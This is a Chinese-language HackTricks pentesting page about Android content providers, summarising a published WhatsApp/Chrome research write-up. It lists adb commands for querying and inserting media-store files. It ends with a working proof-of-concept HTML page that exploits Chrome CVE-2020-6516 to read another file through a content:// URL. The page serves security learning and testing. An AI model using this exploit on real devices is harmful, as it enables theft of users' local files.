hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

5.2 KiB
Raw Blame History

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

其他支持HackTricks的方式

这是一篇文章的摘要 https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

在媒体存储中列出文件

要列出由媒体存储管理的文件,可以使用以下命令:

$ content query --uri content://media/external/file

为了获得更加人性化的输出,仅显示每个索引文件的标识符和路径:

$ content query --uri content://media/external/file --projection _id,_data

内容提供程序

内容提供程序被隔离在它们自己的私有命名空间中。访问提供程序需要特定的 content:// URI。可以从应用程序清单或Android框架的源代码中获取访问提供程序的路径信息。

Chrome 访问内容提供程序

在Android上Chrome可以通过 content:// 方案访问内容提供程序从而可以访问第三方应用程序导出的照片或文档等资源。为了说明这一点可以将文件插入到媒体存储中然后通过Chrome访问

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

发现新插入文件的标识符:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

文件可以通过使用构建的带有文件标识符的URL在Chrome中查看。

例如,要列出与特定应用程序相关的文件:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: 同源策略绕过

同源策略SOP是浏览器中的一种安全协议限制网页与不同来源的资源进行交互除非经过跨域资源共享CORS策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome将content://视为本地方案意味着更严格的SOP规则其中每个本地方案URL被视为单独的来源。

然而CVE-2020-6516是Chrome中的一个漏洞允许通过content:// URL加载的资源绕过SOP规则。实际上来自content:// URL的JavaScript代码可以访问通过content:// URL加载的其他资源这是一个重大安全问题特别是在运行早于Android 10版本的Android设备上因为那时尚未实现作用域存储。

下面的概念验证演示了这个漏洞其中一个HTML文档在**/sdcard**下上传并添加到媒体库后使用其JavaScript中的XMLHttpRequest来访问并显示媒体库中另一个文件的内容绕过了SOP规则。

概念验证HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

其他支持HackTricks的方式